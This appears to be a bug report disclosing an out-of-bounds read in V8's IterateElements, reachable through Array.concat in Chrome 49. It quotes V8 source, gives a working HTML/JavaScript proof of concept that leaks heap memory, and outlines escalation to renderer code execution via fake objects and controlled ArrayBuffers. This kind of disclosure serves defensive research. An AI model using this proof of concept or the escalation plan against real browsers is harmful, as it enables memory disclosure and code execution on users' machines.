一、漏洞
p.s. The line numbers I mentioned below are referred to this version of v8 (https://chromium./v8/v8.git/+/163a909154febf5498ee60efe0f4aab09be21515/)
The vulnerability lies in function IterateElements (src/builtin.cc:997). The function is to iteratively visit elements of an array.
Let us take the visiting on an array containing fast/fast smi elements as an example:
From line 1025 in src/builtin.cc (function IterateElements):
switch (array->GetElementsKind()) {
case FAST_SMI_ELEMENTS:
case FAST_ELEMENTS:
case FAST_HOLEY_SMI_ELEMENTS:
case FAST_HOLEY_ELEMENTS: {
// Run through the elements FixedArray and use HasElement and GetElement
// to check the prototype for missing elements.
Handle<FixedArray> elements(FixedArray::cast(array->elements()));
int fast_length = static_cast<int>(length); <-- fast_length keeps its value after entering the iteration below
DCHECK(fast_length <= elements->length());
for (int j = 0; j < fast_length; j++) {
HandleScope loop_scope(isolate);
Handle<Object> element_value(elements->get(j), isolate); <-- get the element with index j (leading to oob access)
if (!element_value->IsTheHole()) {
visitor->visit(j, element_value);
} else { <-- if it is a hole, it may go to its prototype for the value with index j
Maybe<bool> maybe = JSReceiver::HasElement(array, j);
if (!maybe.IsJust()) return false;
if (maybe.FromJust()) {
// Call GetElement on array, not its prototype, or getters won't
// have the correct receiver.
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, element_value, Object::GetElement(isolate, array, j),
false); <-- here we redefine the function to get the value in array's __proto__ with index j
<-- inside our redefinition function we make the length of the array shorter (< fast_length)
visitor->visit(j, element_value);
}
}
}
break;
}
We can see that the for loop iterates for fast_length times which is determined before entering the loop. However, if we keep a hole inside the array at index j and define the function to get the value in the array's __proto__ with index j, we have a chance to shorten the array in the middle of the loop (and force v8 to re-organize the v8 heap). After that, the loop keeps going on and elements->get(j) may lead to an OOB access. Note that in Chrome release version, elements->get(j) has no bound checking as follows.
src/objects-inl.h:2362
Object* FixedArray::get(int index) const {
SLOW_DCHECK(index >= 0 && index < this->length()); <-- release version does nothing here ;)
return READ_FIELD(this, kHeaderSize + index * kPointerSize);
}
Similarly, the same issue also lies in another switch case, visiting on an array containing fast double elements.
二、POC
The function IterateElements is used in Array.concat() which can be called in javascript to trigger the vulnerability. A simple poc demonstrates an oob access as follows:
<html>
<script language="javascript">
//内存清理 function gc() {
tmp = [];
for (var i = 0; i < 0x100000; i++)
tmp.push(new Uint8Array(10));
tmp = null;
}
b = new Array(10);
b[0] = 0.1; <-- Note that b[1] is a hole!
b[2] = 2.1;
b[3] = 3.1;
b[4] = 4.1;
b[5] = 5.1;
b[6] = 6.1;
b[7] = 7.1;
b[8] = 8.1;
b[9] = 9.1;
b[10] = 10.1;
Object.defineProperty(b.__proto__, 1, { <-- define b.__proto__[1] to gain the control in the middle of the loop
get: function () {
b.length = 1; <-- shorten the array
gc(); <-- shrink the memory
return 1;
},
set: function(new_value){
/* some business logic goes here */
value = new_value
}
});
c = b.concat();
for (var i = 0; i < c.length; i++)
{
document.write(c[i]);
document.write("<br>");
}
</script>
</html>
my result (it differs):
0.1
1
3.60739284464e-313
2.121995791e-314
0
8.487983164e-314
2.121995791e-314
2.121995791e-314
2.121995791e-314
1.9338903543223e-311
2.610054822887e-312
We get the leaked information on the v8 heap which does not originally belong to that fast double elem array. ;)
三、小结
We can rely on this single vulnerability to achieve arbitrary code execution in the renderer process (even on x64). The main idea is that 1) Trigger the vulnerability on a fast double elem array, and craft memory layout to make heap addresses lie just after the victim array elements. These heap addresses will be oob accessed later as doubles and thus we got an info leak. 2) Trigger the vulnerability on a fast elem array, and craft memory layout to make controlled addresses lie just after the victim array elements. These crafted addresses will be oob accessed later and considered as v8 object addresses. We can control the data content pointed by these crafted addresses and thus own some ArrayBuffer objects (my choice) fully under our control. After that, arbitrary read/write is easily achieved and the code execution is then straightforward.
Refer to the exploit for details. (When an alert pops up, attach the windbg onto the renderer process and continue the execution, the process will trap into a break instruction int3 set by me).
Environment:
Chrome Stable Version 49.0.2623.87 (64-bit)
Windows 10 Version 1511 (10586.164)
|